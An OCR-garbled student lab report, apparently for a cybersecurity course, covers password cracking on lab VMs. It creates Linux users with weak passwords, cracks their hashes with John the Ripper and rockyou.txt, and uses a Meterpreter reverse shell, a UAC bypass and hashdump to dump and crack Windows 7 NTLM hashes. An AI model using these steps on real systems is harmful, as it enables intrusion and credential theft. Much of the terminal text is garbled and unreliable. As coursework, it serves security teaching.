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Zenmap GUI 3, : # groupadd cyse301f22
D,_" : # groupadd acupp0el
V4 Hf : # cat /etc/passwd | grep home
“f Id= ntp:x:112:114::/home/ntp:/bin/false
He PuTTY chromeuser:x:1000:1000: : /home/chromeuser:/bin/sh
Nutanix SSR : # tail /etc/group -n 6
Debian-snmp:x:143:
systemd-coredump:x:998:
chromeuser:x:1000:
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A.1 Two groups are created. one is cyse301f22, and the other is acupp001 which is my midas ID.
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Zenmap GUI : # cat /etc/passwd | grep home -
F;T, ntp:x:112:114::/home/ntp:/bin/false
4 = £ chromeuser:x:1000:1000: : /home/chromeuser: /bin/sh
%#y L= : # tail /etc/group -n 6
He PUTTY. Debian-snmp:x:143:
Nutanix SSR O systemd-coredump:x:998:
chromeuser:x:1000:
render:x:145:

cyse301f22:x:1001:
acupp601:x:1002:

: # useradd userl -g cyse301f22

: # useradd user2 -g cyse301f22

: # useradd user3 -g cyse301f22

: # useradd user4 -g acupp0l

: # useradd user5 -g acupp6@l

: # useradd user6 -g acupp@l
# tail -n 6 /etc/passwd

:1001:1001: : /home/userl:/bin/sh

userl:x
user2:x:1002:1001: : /home/user2:/bin/sh
user3:x:1003:1001: : /home/user3:/bin/sh
user4:x:1004:1002::/home/user4:/bin/sh
user5:x:1005:1002: : /home/user5:/bin/sh
user6:x
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A2. Created and assigned three users to each group with information displayed.
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A3. Six new passwords chosen, from easy to hard, and assigned to the users |
created.

Username and password below
Userl: password

User2: p@ssword

User3: claudion125

User4: p455word

User5: pa55wordx

User6: p455wordxx
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root@CS2APenTest: ~

File Edit View Search Terminal

: # 1s /us
1s: cannot access

ls: cannot access

: # gunzip
: #cp /
: # 1s
acuppBel-HASH. txt
core rockyou,txt
+ # john acupp@@l-HASH.txt --wordlist=rockyou.txt
Created directory: /root/.john
Using default input encoding: UTF-8
s with 6 different salts (sha5l2crypt, crypt(3) $6% [SHA512 512/512 AVXS512BW 8x])
Cost 1 (iteration count) is 5680 for all loaded hashes
OpenMP thre
Chrome 5 Ctrl-C to abort, almost any other key for status
(user

. 3g 0:00:04:35 3.0 A: 23:27:01) /s jannetje..jakel22

li Use the "--show" option to display

Logininfo Session aborted

. Hyper-V Manager sense - Firewall b... Windows 7 on CY3... ttacker Kali - Exter...
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A4. All six users’ password hashes are exported into a file named acupp001-
HASH.txt. Then a dictionary attack is launched to crack the passwords. 3
passwords are cracked, userl, user2, and user4
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se TCP handler on 192.168.217.3:4444 eter/reverse_tcp lport=4444 lhost

UAC is Enabled, checking level... HON
| UAC is set to Default ule::Platform: :Windows from the p

BypassUAC can bypass this setting, continuing...
1 t] Part of Administrators group! Continuing...
FI Uploaded the agent to the filesystenm..
ZJ:;::EI;M 8 Uploading the b”pa s UAC executable to the filesysten..
802 bytes long being Llplnaliv-d..
to 192.168.217.2
J 2terpre S 2 ope (192. 217.3:4444 -> 192.168.217.2:49185) at
ie i g 512/512 AVX512BW 8x])
Nutanix SSR
er > hashdump
ator:500:aad3b435b51404eeaad3b435b51404ee:31d6cfefd16ae931b73c59d720c08

b435b51404eeaad3ba35b51404ee:31d6cfedd16a2931b73¢59d7e0ca8
$:1002:aad3b435b51404 ' i

Wireshark

r9r(af 3439ada25af064a874efe2d: ::
92d.}ﬁ09ddﬂ:_. e63b503705c5d

q - d3b43 - 38467 8fh117ad06bdd836b7586¢:
7 ..
Google X e
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i es with 6 different salts (sha512crypt, crypt(3) $6% [SHA512 512/512 AVX512BW 8x])
Remaining 3 sword hashes with 3 different salts
Cost 1 (iteration count) is 5080 for all loaded hashes
Will run 2 OpenMP threads
Pr 'q" or Ctrl-C to abort, almost any other key for status

‘JESPM

= m Hyper-V Manager 3% pFsense - Firewall b... ;'{-E Windows 7 on CY3... 1-? Attacker Kali - Bxter... AT ], o
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B1. Password hashes are displayed by using the “hashdump” command in the
meterpreter shell.
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acupp00LWinHASH.txt - O x root@CS2APenTest: ~

File Edit Search Options Help

Administrator:500:aad3b435b51404ecaad3b435b51404ee: 31 8 se_tcp lport=4444 lhost
Guest:501:aad3b435b51404eeaad3bd35b51404ee : 31d6cfe0d 1 .
HomeGroupUsers: 1002:aad3b435h51404eeaad3bd35051404ee : | AR L E IR G CI R A LR

root@CS2APenTest: ~ (- O ] Y

Nmap - File Edit View Search Terminal Help
Zenmap GUI ] the "--show" option to display all of the cracked passwords reliably
ssion aborted

\/, # --show
bash: --show: command not found
ie : # john acuppB@l-HASH.txt --wordlist=rockyou.txt
Nutanix S3R Using default input encoding: UTF-8
Loaded 6 password hashes with 6 different salts (sha5l2crypt, crypt(3) $6% [SHA512 512/512 AVX512BW 8x])
Remaining 3 password hashes with 3 different salts
Cost 1 (iteration count) is 5000 for all loaded ha
Will run 2 OpenMP threads
Press 'g' or Ctrl-C to abort, almost any other key for status
fg 0:00:58:11 44.11% (ETA: 23:19:43) 0g/s 1841p/s 5523c/s 5523C/s kvsrtald..kvcadc
ion aborted
: # 1s
acupp@01-HASH.txt acupp@@l.WinHASH.txt core rockyou. txt
acupp0el.winHASH calc.exe
ogle b & : # cat acupp@Bl.WinHASH
Chrome Administrator:500:aad3b435b514 aad3b435b51404ee:31d6cTedd16ae931b73c59d7e0c089cO:
Guest:501:aad3b435b51404ecaad3b435b51404¢ee:31d6cfedd16ae931b73c59d7e0c089c0: : :
HomeGrouprer$ 1002 aa63b435b51404eeaad3b435b51404ee:2d?9c7f5?cﬂgbad3139f562996444b23:::

shes

ed2992a 609ddfT6d9cﬁ3b503f c5d
W1ndou 7 1000 aad3b435b51404eeaad3b435b51404ee:8846T7eace8Tb117ad06bdd830b75
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B2. Password hashes are saved into a file named acupp001.WinHASH in Kali Linux.

THE REST OF B2 IS ON THE NEXT PAGE
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i“: Attacker Kali - External Workstation en CY301-ACUPPODT - Virtual Machine Connection
File  Action Media Clipboard View Help
V@O | nmw|fod &
Applications > Places >  [] Terminal ~ Tue 22:32

acupp00L.WinHASH.txt = root@CS2APenTest: ~

File Edit Search Options Help

Administrator:500:aad3b435b51404eeaad3b435b51404ee ;31 MREOULITELREEY I VAL I T T g e s S L
Guest:501:aad3b435b51404eeaad3b435h51404ee:31d6cTeddl : ) [I l ON
HomeGroupUsers: 1002: aad3b435b51404ecaad3bd35h51404ee , choosing Msf::Module::Platform: :Windows from the p

) Y

File Edit View Search Terminal Help
Using default input encoding: UTF-8
ed 7 password hashes with no different salts (NT [MD4 5
ng: no OpenMP support for this hash type, consider --for
ing with single, rules:Single

Press 'q' or Ctrl-C to abort, almost any other key for status

Almost done: Pro candidate passwords, if any.

Warning: Only 26 candidates buffered for the current salt, minimum 48 needed for performance.

eeding with wordlist:/usr/share/john/password.lst, rules:Wordlist
(userl)
(Window 7)
( )
(Guest)
ding with inc ntal:ASCII
:09:07 3/3 0.007312g/s 49658Kp/s 49658Kc/s 148974KC/s kcng2mé. .keng
"--show -
ession aborted

: # john acupp®0l.WinHASH --format=NT --show

Administrator::500:aad3b435b5140 ad3b435b5148 31d6cfedd16ae931b73c59d7e

Guest::501:aad3b435b51404eeaad3b435b51404ee:31d6cTe0d16ae931b73c59d7e0

userl:password:1003:aad3b435b51404eeaad3b435b51404ee: 8846 7¢ h1173 830b7586¢: ::

Window 7:password:1000:aad3b435b51404eeaad3b435b5140 B84 i d06bddB830b7586¢C: : :

4 password hashes cracked, 3 left
:#I
:du ﬁdu

10:32 PM
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B2. John the ripper is run for 10 minutes to crack the passwords. 4 passwords
were cracked, with 3 left.
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acuppOOL Wi : # rdesktop -u acuppeel 192.168.16.9
File Edit Search Options Help Autoselected keyboard map en-us
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Zenmap GUI j Using default input encoding: UTF-¢
. yrd hashes with no di
J Apache/2.4 rning: no OpenMP support for this root@CS2APenTest: ~
ing with single, rules:Singl

ae q' or Ctrl-C to abort, almos
Nutanix S3R Almost done: Processing the remaini
Warning: Only 26 candidates buffere
Proceeding with wordlist:/usr/share
(user1) i

(Window 7) eterpreter > upload x-special/nautilus-clipboard
( ) Error running command upload: Errno::ENOENT No such file or directory @ rb_f

(Guest) ‘ - x-special/nautilus-clipboard

File Edit View Search Terminal Help

Proceeding with incremental:ASCII Ne [ETEr > copy
4g 0:00:09:07 3/3 0.007312g/s 496 command: copy.
--show --format=NT" optior eterpre > fi t/CYSE301/Modul
Session aborted file:
: # john acupp@ol.v
Administrator::500:aad3b435b51404eeanu
Guest::501:aad3b435b51404eeaad3bd35h51 rror running command upload: Errno::ENOENT No such file or directory @ rb f
userl:password:1003:aad3b435b51404eeaacile_s_stat - ca_setup.
Window 7:password:1000:aad3b435b51404ecneterpreter > upload ca
uploading : ca

VM - Kali 4 password hashes cracked, 3 left
Login info : #I:I

Channel 2 created.
Microsoft Windows [Version 6.1.7600]
Copyright (c) 2009 Microsoft Corporation. All rights re
':dll *.':}du

1MPM
T

B3. Uploaded the password cracking tool, Cain and Abel, to the remote Windows
7 VM.

B3 CONTINUES ONTO THE NEXT PAGE
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B3. Cain and Able is installed via a remote desktop window.

B3 CONTIUES ONTO THE NEXT PAGE
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Plaintext of 8846FYEAEERFB117AD0AEDDA30ET506C iz passvord
Flaintext of CED2992A3609ADFFEDYEEIRS03F05CED i pd5hword
Attack stopped!

2 of 4 hashes cracked
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Connection

B3. Brute force attack is implemented to crack the passwords, 2 of 4 are cracked.

B3 CONTIUES ONTO THE NEXT PAGE
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Attack stopped!
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B3. Dictionary attack is implemented to crack the passwords, 2 of 4 are cracked.



